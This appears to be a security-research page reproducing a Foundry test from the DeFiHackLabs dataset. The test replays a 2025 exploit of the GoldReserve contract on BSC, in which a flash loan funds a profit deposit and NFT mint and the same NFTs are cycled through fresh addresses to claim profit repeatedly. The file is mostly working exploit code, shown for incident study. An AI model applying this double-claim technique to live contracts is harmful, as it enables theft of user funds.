Skip to content
THREATWIRE

Public reproduction file

src/test/2025-02/GoldReserve_exp.sol

Public reproduction file for dataset entry GoldReserve.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-02/GoldReserve_exp.sol135 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 12.74 BNB
8// Attacker : 0xfBE2CF822e1361FB74421E2a0bD9844A48932cE2
9// Attack Contract : 0x3Fc424f13BE05D4F261877a4a9B9963C02222815
10// Vulnerable Contract : 0x7c77576a2b48504EBD9fF0810D799651f68742d3
11// Attack Tx : https://bscscan.com/tx/0x79c2e41b10462d374f21ecd4da048029cc71692e0c9ef275d4aad228e6f8afe0
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x7c77576a2b48504EBD9fF0810D799651f68742d3#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/434
18//
19// GoldReserve tracked claimed profit by address while entitlement was calculated from the
20// caller's current ERC1155 balance. The attacker minted NFTs after a profit deposit, then
21// moved the same NFTs through fresh addresses so each address could claim the same profit.
23address constant ATTACKER = 0xfBE2CF822e1361FB74421E2a0bD9844A48932cE2;
24address constant ATTACK_CONTRACT = 0x3Fc424f13BE05D4F261877a4a9B9963C02222815;
25address constant VULNERABLE_CONTRACT = 0x7c77576a2b48504EBD9fF0810D799651f68742d3;
26address constant PANCAKE_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;
27address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
29interface IGoldReserve {
30 function mintPrice() external view returns (uint256);
31 function depositProfit() external payable;
32 function mint(
33 uint256 id,
34 uint256 amount
35 ) external payable;
36 function claimProfit() external;
37 function safeTransferFrom(
38 address from,
39 address to,
40 uint256 id,
41 uint256 value,
42 bytes calldata data
43 ) external;
46contract ContractTest is BaseTestWithBalanceLog {
47 IGoldReserve private constant goldReserve = IGoldReserve(VULNERABLE_CONTRACT);
48 IPancakeV3Pool private constant flashPool = IPancakeV3Pool(PANCAKE_V3_POOL);
49 IWBNB private constant wbnb = IWBNB(payable(WBNB_TOKEN));
51 uint256 private flashAmount;
53 function setUp() public {
54 uint256 forkBlock = 46_278_330;
55 vm.createSelectFork("bsc", forkBlock);
57 fundingToken = address(0);
58 vm.label(ATTACKER, "Attacker");
59 vm.label(ATTACK_CONTRACT, "Attack Contract");
60 vm.label(VULNERABLE_CONTRACT, "GoldReserve");
61 vm.label(PANCAKE_V3_POOL, "Pancake V3 WBNB Pool");
62 vm.label(WBNB_TOKEN, "WBNB");
63 }
65 function testExploit() public balanceLog {
66 // step 1: flash-borrow the WBNB needed to seed GoldReserve's profit pool and mint NFTs.
67 flashAmount = 120 ether;
68 uint256 balanceBefore = address(this).balance;
69 flashPool.flash(address(this), 0, flashAmount, "");
71 // step 4: after repaying the flash loan, the repeated claims leave native BNB profit.
72 assertGt(address(this).balance - balanceBefore, 12 ether);
73 }
75 function pancakeV3FlashCallback(
76 uint256,
77 uint256 fee1,
78 bytes calldata
79 ) external {
80 require(msg.sender == PANCAKE_V3_POOL, "pool only");
82 uint256 nftId = 10;
83 uint256 nftAmount = 8;
85 // step 2: unwrap the flash loan, deposit stale profit, then mint NFTs that inherit it.
86 wbnb.withdraw(flashAmount);
87 uint256 mintCost = goldReserve.mintPrice() * nftAmount;
88 goldReserve.depositProfit{value: flashAmount - mintCost}();
89 address holder = _holder(0);
90 payable(holder).transfer(mintCost);
91 vm.prank(holder);
92 goldReserve.mint{value: mintCost}(nftId, nftAmount);
94 // step 3: claim once, then move the same NFTs through fresh holder addresses and claim again.
95 _claimAndSweep(holder);
96 for (uint256 i = 0; i < 21; i++) {
97 address nextHolder = _holder(i + 1);
98 vm.prank(holder);
99 goldReserve.safeTransferFrom(holder, nextHolder, nftId, nftAmount, "");
100 _claimAndSweep(nextHolder);
101 holder = nextHolder;
102 }
104 address finalHolder = _holder(100);
105 vm.prank(holder);
106 goldReserve.safeTransferFrom(holder, finalHolder, nftId, 1, "");
107 _claimAndSweep(finalHolder);
109 uint256 repayAmount = flashAmount + fee1;
110 wbnb.deposit{value: repayAmount}();
111 wbnb.transfer(PANCAKE_V3_POOL, repayAmount);
112 }
114 function _holder(
115 uint256 index
116 ) private pure returns (address) {
117 return address(uint160(uint256(keccak256(abi.encodePacked("GoldReserve holder", index)))));
118 }
120 function _claimAndSweep(
121 address holder
122 ) private {
123 vm.prank(holder);
124 goldReserve.claimProfit();
126 uint256 claimed = holder.balance;
127 if (claimed > 0) {
128 vm.prank(holder);
129 (bool success,) = payable(address(this)).call{value: claimed}("");
130 require(success, "sweep failed");
131 }
132 }
134 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “GoldReserve” (2025-02-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xfbe2cf822e1361fb74421e2a0bd9844a48932ce2

  • Attack Contract

    0x3fc424f13be05d4f261877a4a9b9963c02222815

  • Vulnerable Contract

    0x7c77576a2b48504ebd9ff0810d799651f68742d3

  • Attack Tx

    0x79c2e41b10462d374f21ecd4da048029cc71692e0c9ef275d4aad228e6f8afe0

File record

Name
GoldReserve
Path
src/test/2025-02/GoldReserve_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
978cb27de71e364dcb7ffe1b4752d30c65ea2c53
Language
Solidity
Size
136 lines
Date
2025-02-01
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-02/GoldReserve_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 978cb27de71e364dcb7ffe1b4752d30c65ea2c53, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.